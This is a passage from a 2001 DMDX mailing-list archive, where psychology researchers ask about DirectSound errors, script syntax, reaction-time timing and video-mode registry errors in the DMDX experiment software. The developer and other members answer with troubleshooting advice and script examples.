21 Jun 2001 11:19:36 -0700 Message-Id: <5.1.0.14.2.20010621111206.00a1ba70@psy1.psych.arizona.edu> Date: Thu, 21 Jun 2001 11:20:31 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] RE: RE: FW: Re: Correct/Incorrect Response Output In-Reply-To: <3B2669E600005F58@deimos.email.Arizona.EDU> References: <5.1.0.14.2.20010621091042.009e5900@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:49 AM 6/21/01 -0700, you wrote: >I do unmap the positive and negative responses for every item: > >-1014 Ah, +Bit4 is a VOX input, technically not a positive response but gets used as one anyway so doesn't unmap it. You want at least one in there... -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Shaw's Principle: Build a system that even a fool can use, and only a fool will want to use it. >From DMDX-owner@psy1.psych.arizona.edu Thu Jun 21 11:24:39 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA25994 for ; Thu, 21 Jun 2001 11:24:33 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3B2669E4000A3D6D for DMDX@psy1.psych.arizona.edu; Thu, 21 Jun 2001 11:24:32 -0700 Message-Id: <5.1.0.14.2.20010621112235.00a0aec0@psy1.psych.arizona.edu> Date: Thu, 21 Jun 2001 11:25:27 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: double responses and feedback In-Reply-To: <5.1.0.14.2.20010621110128.009eea50@psy1.psych.arizona.edu> References: <5.1.0.14.2.20010621091439.009f23d0@psy1.psych.arizona.edu> <009f01c0fa1b$4b7fc6a0$62a6bd89@psy.cuhk.edu.hk> <5.1.0.14.2.20010620093358.009f2540@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Or of course, you can do a perfectly vanilla G2 scramble with a couple of filler items: S5 G2 $ 0 ""instructions""; $ +1001 * ""A1"" /; 0 d0 ! c; +1002 * ""A2"" /; 0 d0 ! c; +1003 * ""A3"" /; 0 d0 ! c; +1004 * ""A4"" /; 0 d0 ! c; \\ +2001 * ""C1"" /; +2002 * ""C2"" /; +2011 * ""D1"" /; +2012 * ""D2"" /; +2020 * ""1"" /; +2030 * ""2"" /; +2040 * ""3"" /; +2050 * ""4"" /; +2060 * ""5"" /; +2070 * ""6"" /; $ 0 ""The end"" l; $ -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Shaw's Principle: Build a system that even a fool can use, and only a fool will want to use it. >From DMDX-owner@psy1.psych.arizona.edu Thu Jun 28 01:04:40 2001 Received: from hotmail.com (f128.law8.hotmail.com [216.33.241.128]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id BAA10570 for ; Thu, 28 Jun 2001 01:02:33 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 28 Jun 2001 01:02:03 -0700 Received: from 194.126.46.9 by lw8fd.law8.hotmail.msn.com with HTTP; Thu, 28 Jun 2001 08:02:03 GMT From: ""bahador bahrami"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] missing item number Date: Thu, 28 Jun 2001 08:02:03 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear Friends, I am running an experiment on the subejct of perceptual asynchrony and I have tried to set up the experiment with dmdx. But there have been several problems I wish to seek your help for. 1) I get this error : DirectSoundCreate failed DSERR_ALLOCATED (8878000a) The call failed because the resources (such as priority level) were already being used by another caller and i have read what the help file has said about it but my problem is that i don't know how to find that ""something else"" which is taking exclusive access to directSound. Where should i look for it and how should i kill it? (reseting has had little effect on the error coming up) 2) My dmdx program continues to run after I click OK in reponse to the above error message but when that it starts to run the parameter file it suddenly stops with the following error: Missing item number below is my parameter file to which this error has occured. I wonder if anybody could help me with this, Thank you all, bahador bahrami N16 f38 d150 $ 0 ""Press SPACEBAR to start""; $ +1 ""fixation"" / ""rv"" / ""ro""/ ""go"" / * ""mask""/ ; +2 ""fixation"" / ""rv"" / ""ro""/ ""go"" / * ""mask""/ ; +3 ""fixation"" / ""rv"" / ""gv""/ ""go"" / * ""mask""/ ; +4 ""fixation"" / ""rv"" / ""gv""/ ""go"" / * ""mask""/ ; +5 ""fixation"" / ""gv"" / ""rv""/ ""ro"" / * ""mask""/ ; +6 ""fixation"" / ""gv"" / ""rv""/ ""ro"" / * ""mask""/ ; +7 ""fixation"" / ""gv"" / ""go""/ ""ro"" / * ""mask""/ ; +8 ""fixation"" / ""gv"" / ""go""/ ""ro"" / * ""mask""/ ; +9 ""fixation"" / ""rv"" / ""go"" / * ""mask""/ ; +10 ""fixation"" / ""rv"" / ""go"" / * ""mask""/ ; +11 ""fixation"" / ""rv"" / ""go"" / * ""mask""/ ; +12 ""fixation"" / ""rv"" / ""go"" / * ""mask""/ ; +13 ""fixation"" / ""gv"" / ""ro"" / * ""mask""/ ; +14 ""fixation"" / ""gv"" / ""ro"" / * ""mask""/ ; +15 ""fixation"" / ""gv"" / ""ro"" / * ""mask""/ ; +16 ""fixation"" / ""gv"" / ""ro"" / * ""mask""/ ; $ 0 ""The End.Thanx""; $ _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. >From DMDX-owner@psy1.psych.arizona.edu Thu Jun 28 09:47:51 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA11538 for ; Thu, 28 Jun 2001 09:47:37 -0700 Received: (qmail 2390 invoked from network); 28 Jun 2001 16:47:33 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.18) by breaker.dakotacom.net with SMTP; 28 Jun 2001 16:47:33 -0000 Message-Id: <5.1.0.14.2.20010628093113.009e5440@psy1.psych.arizona.edu> Date: Thu, 28 Jun 2001 09:47:59 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: missing item number In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:02 AM 6/28/01 +0000, you wrote: >Dear Friends, >I am running an experiment on the subejct of perceptual asynchrony and I >have tried to set up the experiment with dmdx. But there have been several >problems I wish to seek your help for. >1) I get this error : > >DirectSoundCreate failed > DSERR_ALLOCATED (8878000a) > The call failed because the resources (such as priority level) were > already being used by another caller > >and i have read what the help file has said about it but my problem is >that i don't know how to find that ""something else"" which is taking >exclusive access to directSound. Where should i look for it and how should >i kill it? (reseting has had little effect on the error coming up) Use cntrl-alt-del and look at the other programs running. Use it on a few other machines, use it on a newly setup machine, learn what the normal tasks are that run to maintain windows (like systray and explorer are critical parts and should never be shut down). Successively shut down tasks with the cntrl-alt-del End Task button, try DMDX after each task is shut down and see which one is the culprit. You might have to restart windows when you shut down the wrong task as things will stop functioning when those tasks are gone. When you find which task it is uninstall that package, if you can't figure out which package it is run msconfig.exe and examine the startup pane and uncheck the offender. It's also possible that the path present on that msconfig pane might tell you what application is associated with the offending task. >2) My dmdx program continues to run after I click OK in reponse to the >above error message but when that it starts to run the parameter file it >suddenly stops with the following error: > >Missing item number > >below is my parameter file to which this error has occured. I wonder if >anybody could help me with this, >Thank you all, >bahador bahrami Well seeing as when I syntax check it I don't get past not being a keyword (it's , ie , not ) I'm guessing it's a problem with your parameter line and when it wraps DMDX isn't seeing it and is taking one of the Rs in your parameter line as the first item number. After fixing that it's ok. Your parameter line probably needs to become: N16 f38 d150 -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you keep anything long enough, you can throw it away. >From DMDX-owner@psy1.psych.arizona.edu Thu Jun 28 14:56:27 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA12165 for ; Thu, 28 Jun 2001 14:56:15 -0700 Received: by deimos.email.Arizona.EDU (5.1.056) id 3B374EB30004B0AD; Thu, 28 Jun 2001 14:56:14 -0700 Message-ID: <3B374EB400002E33@deimos.email.Arizona.EDU> Date: Thu, 28 Jun 2001 16:56:13 -0500 From: ""Keolani Taitano"" Subject: [DMDX] DMDX timing question To: ""DMDX listserv"" MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I've found what appears to be a discrepancy between the timing I expect according to the total number of tics in my script and the clock on times that I get in my output. One question I have is: How does the RT window specified in the parameter line get added into the timing for each item line? My script records RTs up to 2500 ms, but the stimuli presented during this interval are much shorter than this. Does the DMDX then wait 2500 ms before initiating the next item line, or is it recording the RT while the next item line is being presented? Also, even with the 2500 ms added to the total tics in my item lines I get a discrepancy of around 1300 to over 1600 ms per item line (clock on times show differences of around 7500 to 9500 ms, whereas total ms according to the tics in the item lines range around 3600-5600 ms. The parameter line: t2500 f.5 d90 The first few item lines: +1001 / %150 / %12 / %30 g"" E:\\Data\\Fetzer\\SelfValence.bmp""/ %20 g"" E:\\Data\\Fetzer\\crosshair.bmp""/ %10 o1 /%2 g *"" E:\\Data\\Fetzer\\2850.bmp""/%6 g"" E:\\Data\\Fetzer\\Bs3m07o.bmp""/; -1002 / %150 / %120 / %30 g"" E:\\Data\\Fetzer\\SelfValence.bmp""/ %20 g"" E:\\Data\\Fetzer\\crosshair.bmp""/ %10 o2 /%2 g *"" E:\\Data\\Fetzer\\2750.bmp""/%6 g"" E:\\Data\\Fetzer\\Bs3m04f.bmp""/; -1003 / %150 / %72 / %30 g"" E:\\Data\\Fetzer\\SelfValence.bmp""/ %20 g"" E:\\Data\\Fetzer\\crosshair.bmp""/ %10 o2 /%4 g *"" E:\\Data\\Fetzer\\3301.bmp""/%6 g"" E:\\Data\\Fetzer\\Bs4m07f.bmp""/; and the corresponding COT's: Item 1001, COT 0.00 587.45,+Bit1 1060.15,-Bit1 Item 1002, COT 9776.57 759.10,+Bit2 1379.69,-Bit2 Item 1003, COT 18735.65 1374.23,+Bit4 1989.58,-Bit4 The stimuli are 16-bit 901k each and the pc has a 233 MHz processor with 64 MB of RAM, a Gig of free space with DMDX and all files run from the same directory. The machine is very clean-no internet, virus, or other potentially interfering software even loaded on it. Is there something I'm missing that's adding to the run time, or is the t2500 a problem when the individual item lines don't have a lag to accomodate this before the next item line? Thanks for your help. Keo Keolani Taitano, Ph.D. Postdoctoral Research Fellow Department of Psychiatry University of Arizona Health Sciences Center P.O. Box 245002 Tucson, AZ 85724-5002 voice: 520-626-8568 fax: 253-369-3571 >From DMDX-owner@psy1.psych.arizona.edu Thu Jun 28 15:51:13 2001 Received: from pimout4-int.prodigy.net (pimout4-ext.prodigy.net [207.115.63.103]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id PAA12347 for ; Thu, 28 Jun 2001 15:51:04 -0700 Received: from 3sddn01 (A010-1319.DYTN.splitrock.net [63.252.175.49]) by pimout4-int.prodigy.net (8.11.0/8.11.0) with SMTP id f5SMp3i140146 for ; Thu, 28 Jun 2001 18:51:03 -0400 Message-ID: <004601c10024$cdd81e40$31affc3f@3sddn01> From: ""DEBORAH A SUTHERLAND"" To: References: <3B374EB400002E33@deimos.email.Arizona.EDU> Subject: [DMDX] Registry Key Error Date: Thu, 28 Jun 2001 18:50:59 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Everyone, This is a rather remidial question but I'm stumped. I'm a novice at the DMDX program and have just begun playing around with it. I am not able to get the demo programs to run. I have consulted the Discussion list archieve and done everything that was suggested here with no luck. The following error message appears: Could not find Registry Key A reguest has been made to use the 640x480 (480) 8 bits per pixel Ohz video mode. You need to use the Time Dx 2's advanced\\Time Video Mode option and tune some values for anticipating the vertical retrace. This error message pops up when I try to run the demo and when I run the Tachistoscopic Acid Test. Also when I run the Digital Video Test the following message appears: Failed to open File VFW_E_NOT_FOUND (80040216 An object or name was not found I have tried to change the video mode to the correct setting and it is already set to the proper value. If anyone could offer some suggestions I would greatly appreciate it. Thank you for your time. Matt Sutherland Ohio University. >From DMDX-owner@psy1.psych.arizona.edu Thu Jun 28 17:16:33 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id RAA12569 for ; Thu, 28 Jun 2001 17:16:21 -0700 Received: (qmail 9044 invoked from network); 29 Jun 2001 00:16:19 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.18) by breaker.dakotacom.net with SMTP; 29 Jun 2001 00:16:19 -0000 Message-Id: <5.1.0.14.2.20010628171352.009f6c20@psy1.psych.arizona.edu> Date: Thu, 28 Jun 2001 17:16:44 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: DMDX timing question In-Reply-To: <3B374EB400002E33@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:56 PM 6/28/01 -0500, you wrote: >I've found what appears to be a discrepancy between the timing I expect >according to the total number of tics in my script and the clock on times >that I get in my output. > >One question I have is: How does the RT window specified in the parameter >line get added into the timing for each item line? My script records RTs >up to 2500 ms, but the stimuli presented during this interval are much shorter >than this. Does the DMDX then wait 2500 ms before initiating the next item >line, or is it recording the RT while the next item line is being presented? It waits until there is a response. If you want to account for every single tic of an item file you will have to ensure that the display is active for longer than your RT timeouts. >Also, even with the 2500 ms added to the total tics in my item lines I get >a discrepancy of around 1300 to over 1600 ms per item line (clock on times >show differences of around 7500 to 9500 ms, whereas total ms according to >the tics in the item lines range around 3600-5600 ms. Once the subject has responded DMDX moves on to the next item. There are cases where it will always wait the specified timeout interval, using the RecordVocal device and normal responses come to mind. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you keep anything long enough, you can throw it away. >From DMDX-owner@psy1.psych.arizona.edu Thu Jun 28 17:25:01 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id RAA12593 for ; Thu, 28 Jun 2001 17:24:55 -0700 Received: (qmail 12292 invoked from network); 29 Jun 2001 00:24:53 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.18) by breaker.dakotacom.net with SMTP; 29 Jun 2001 00:24:53 -0000 Message-Id: <5.1.0.14.2.20010628171724.009e6290@psy1.psych.arizona.edu> Date: Thu, 28 Jun 2001 17:25:18 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Registry Key Error In-Reply-To: <004601c10024$cdd81e40$31affc3f@3sddn01> References: <3B374EB400002E33@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 06:50 PM 6/28/01 -0400, you wrote: >Hi Everyone, > This is a rather remidial question but I'm stumped. I'm a novice at the >DMDX program and have just begun playing around with it. I am not able to >get the demo programs to run. I have consulted the Discussion list archieve >and done everything that was suggested here with no luck. The following >error message appears: > Could not find Registry Key Driver\\640x480 (480)_8bpp_Ohz> > A reguest has been made to use the 640x480 (480) 8 bits per pixel >Ohz video mode. You need to use the Time Dx 2's advanced\\Time Video >Mode option and tune some values for anticipating the vertical retrace. >This error message pops up when I try to run the demo and when I run the >Tachistoscopic Acid Test. You need to time that video mode and store the values in the registry. See: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhhowtouseit.htm And then: http://psy1.psych.arizona.edu/~jforster/dmdx/help/timedxhoverview.htm > Also when I run the Digital Video Test the >following message appears: > Failed to open File > VFW_E_NOT_FOUND (80040216 > An object or name was not found That error means it can't find the digital video file referenced in the most recent item. Perhaps you didn't unzip all the of files to the same location. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you keep anything long enough, you can throw it away. >From DMDX-owner@psy1.psych.arizona.edu Thu Jun 28 17:26:57 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id RAA12606 for ; Thu, 28 Jun 2001 17:26:50 -0700 Received: (qmail 13051 invoked from network); 29 Jun 2001 00:26:48 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.18) by breaker.dakotacom.net with SMTP; 29 Jun 2001 00:26:48 -0000 Message-Id: <5.1.0.14.2.20010628172645.009d1910@psy1.psych.arizona.edu> Date: Thu, 28 Jun 2001 17:27:14 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: DMDX timing question In-Reply-To: <3B374EB400002E33@deimos.email.Arizona.EDU> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 04:56 PM 6/28/01 -0500, you wrote: >I've found what appears to be a discrepancy between the timing I expect >according to the total number of tics in my script and the clock on times >that I get in my output. You might also want to read the timing notes: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhtimingnotes.htm -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you keep anything long enough, you can throw it away. >From DMDX-owner@psy1.psych.arizona.edu Sat Jun 30 02:31:02 2001 Received: from hotmail.com (f108.law8.hotmail.com [216.33.241.108]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id CAA16061 for ; Sat, 30 Jun 2001 02:30:06 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sat, 30 Jun 2001 02:29:36 -0700 Received: from 194.126.46.9 by lw8fd.law8.hotmail.msn.com with HTTP; Sat, 30 Jun 2001 09:29:36 GMT From: ""bahador bahrami"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Missing item number Date: Sat, 30 Jun 2001 09:29:36 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear Friends, I am running an experiment on perceptual asynchrony and I have tried to set up the experiment with dmdx. But there have been several problems I wish to seek your help for. 1) I get this error : DirectSoundCreate failed DSERR_ALLOCATED (8878000a) The call failed because the resources (such as priority level) were already being used by another caller and i have read what the help file has said about it but my problem is that i don't know how to find that ""something else"" which is taking exclusive access to directSound. Where should i look for it and how should i kill it (reseting has had little effect on the error coming up)? 2) My dmdx program continues to run after I click OK to the above error message but when that it starts to the parameter fi, it suddenly stops with the following error: Missing item number below is my parameter file about which this error has been raised. I wonder if anybody could help me with this, Thank you all, bahador bahrami N16 f38 d150 $ 0 ""Press SPACEBAR to start""; $ +1 ""fixation"" / ""rv"" / ""ro""/ ""go"" / * ""mask""/ ; +2 ""fixation"" / ""rv"" / ""ro""/ ""go"" / * ""mask""/ ; +3 ""fixation"" / ""rv"" / ""gv""/ ""go"" / * ""mask""/ ; +4 ""fixation"" / ""rv"" / ""gv""/ ""go"" / * ""mask""/ ; +5 ""fixation"" / ""gv"" / ""rv""/ ""ro"" / * ""mask""/ ; +6 ""fixation"" / ""gv"" / ""rv""/ ""ro"" / * ""mask""/ ; +7 ""fixation"" / ""gv"" / ""go""/ ""ro"" / * ""mask""/ ; +8 ""fixation"" / ""gv"" / ""go""/ ""ro"" / * ""mask""/ ; +9 ""fixation"" / ""rv"" / ""go"" / * ""mask""/ ; +10 ""fixation"" / ""rv"" / ""go"" / * ""mask""/ ; +11 ""fixation"" / ""rv"" / ""go"" / * ""mask""/ ; +12 ""fixation"" / ""rv"" / ""go"" / * ""mask""/ ; +13 ""fixation"" / ""gv"" / ""ro"" / * ""mask""/ ; +14 ""fixation"" / ""gv"" / ""ro"" / * ""mask""/ ; +15 ""fixation"" / ""gv"" / ""ro"" / * ""mask""/ ; +16 ""fixation"" / ""gv"" / ""ro"" / * ""mask""/ ; $ 0 ""The End.Thanx""; $ _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. >From DMDX-owner@psy1.psych.arizona.edu Sat Jun 30 09:18:53 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA16749 for ; Sat, 30 Jun 2001 09:18:33 -0700 Received: (qmail 3622 invoked from network); 30 Jun 2001 16:18:30 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.18) by breaker.dakotacom.net with SMTP; 30 Jun 2001 16:18:30 -0000 Message-Id: <5.1.0.14.2.20010630091749.009ec150@psy1.psych.arizona.edu> Date: Sat, 30 Jun 2001 09:19:01 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Missing item number In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:29 AM 6/30/01 +0000, you wrote: >Dear Friends, One answer is all you'll get dude. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you keep anything long enough, you can throw it away. >From DMDX-owner@psy1.psych.arizona.edu Sat Jun 30 09:20:21 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA16766 for ; Sat, 30 Jun 2001 09:20:15 -0700 Received: (qmail 4126 invoked from network); 30 Jun 2001 16:20:12 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.18) by breaker.dakotacom.net with SMTP; 30 Jun 2001 16:20:12 -0000 Message-Id: <5.1.0.14.2.20010630092009.009e3af0@psy1.psych.arizona.edu> Date: Sat, 30 Jun 2001 09:20:43 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Missing item number In-Reply-To: <5.1.0.14.2.20010630091749.009ec150@psy1.psych.arizona.edu> References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:19 AM 6/30/01 -0700, you wrote: >At 09:29 AM 6/30/01 +0000, you wrote: >>Dear Friends, > > One answer is all you'll get dude. Oops, sorry about that, forgot to paste the URl in... http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread?message=2324828 -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you keep anything long enough, you can throw it away. >From DMDX-owner@psy1.psych.arizona.edu Sat Jun 30 11:58:33 2001 Received: from hotmail.com (f131.law8.hotmail.com [216.33.241.131]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id LAA17141 for ; Sat, 30 Jun 2001 11:58:23 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sat, 30 Jun 2001 11:57:53 -0700 Received: from 213.29.14.17 by lw8fd.law8.hotmail.msn.com with HTTP; Sat, 30 Jun 2001 18:57:53 GMT From: ""bahador bahrami"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] about asynchrony Date: Sat, 30 Jun 2001 18:57:53 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear friends, I am sending this email to ask those kind friends who have taken the trouble of answering my last mail titled 'Missing item number ' to once again send me their replies. Due to some filtering problem in my email account, I have not been able to recieve any emails from any of cybergroups I have been a memebr of during last two weeks. As a result, I have been unable to get your valuable giudelines regarding my question either. I only understood the nature of my problem when I saw that I hadn't even recieved my own mail to DMDX group. I hope this inconvenience will not discourage you from keeping sending me your helpful mails. Sincerely, Bahador Bahrami _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. >From DMDX-owner@psy1.psych.arizona.edu Sun Jul 1 07:18:28 2001 Received: from hotmail.com (f228.law8.hotmail.com [216.33.241.228]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA19054 for ; Sun, 1 Jul 2001 07:17:47 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 1 Jul 2001 07:17:17 -0700 Received: from 213.29.14.17 by lw8fd.law8.hotmail.msn.com with HTTP; Sun, 01 Jul 2001 14:17:16 GMT From: ""bahador bahrami"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] what if a line is too long? Date: Sun, 01 Jul 2001 14:17:16 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear Friends, I am running an experiment on the subejct of perceptual asynchrony and I have tried to set up the experiment with dmdx. But there have been several problems I wish to seek your help for. I get this error : DirectSoundCreate failed DSERR_ALLOCATED (8878000a) The call failed because the resources (such as priority level) were already being used by another caller and i have read what the help file has said about it but my problem is that i don't know how to find that ""something else"" which is taking exclusive access to directSound. Where should i look for it and how should i kill it (reseting has had little effect on the error coming up)? Another question: If a line pertaining to One trail gets too long so that part of it is transfered to the next line, will i get such error: Missing item number Although there has not been any new line introduced (just the rest of some line remaining)? Line example: +1 ""fixation"" / ""rv"" / ""ro""/ ""go"" / * ""mask""/ ; _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. >From DMDX-owner@psy1.psych.arizona.edu Sun Jul 1 07:18:28 2001 Received: from hotmail.com (f124.law8.hotmail.com [216.33.241.124]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA19059 for ; Sun, 1 Jul 2001 07:18:15 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 1 Jul 2001 07:17:45 -0700 Received: from 213.29.14.17 by lw8fd.law8.hotmail.msn.com with HTTP; Sun, 01 Jul 2001 14:17:45 GMT From: ""bahador bahrami"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] what if a line is too long? Date: Sun, 01 Jul 2001 14:17:45 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear Friends, I am running an experiment on the subejct of perceptual asynchrony and I have tried to set up the experiment with dmdx. But there have been several problems I wish to seek your help for. I get this error : DirectSoundCreate failed DSERR_ALLOCATED (8878000a) The call failed because the resources (such as priority level) were already being used by another caller and i have read what the help file has said about it but my problem is that i don't know how to find that ""something else"" which is taking exclusive access to directSound. Where should i look for it and how should i kill it (reseting has had little effect on the error coming up)? Another question: If a line pertaining to One trail gets too long so that part of it is transfered to the next line, will i get such error: Missing item number Although there has not been any new line introduced (just the rest of some line remaining)? Line example: +1 ""fixation"" / ""rv"" / ""ro""/ ""go"" / * ""mask""/ ; Thanx , Bahador Bahrami _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. >From DMDX-owner@psy1.psych.arizona.edu Sun Jul 1 07:36:01 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA19199 for ; Sun, 1 Jul 2001 07:35:54 -0700 Received: from pc057.mrc-cbu.cam.ac.uk by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Sun, 1 Jul 2001 15:35:51 +0100 (BST) Message-Id: <5.0.2.1.0.20010701153404.02418d70@pophost.mrc-cbu.cam.ac.uk> Date: Sun, 01 Jul 2001 15:38:49 +0100 To: DMDX@psy1.psych.arizona.edu From: Mike Ford Subject: [DMDX] Re: what if a line is too long? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This may be obvious, but it could be an editor problem. Some kind of unicode formatting word may have been added that tells your editor to wrap to the next line and DMDX may be having a problem with this. Try the script using another editor or have a look at your script in NotePad or DOS Edit. - Mike oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 334 Fax: 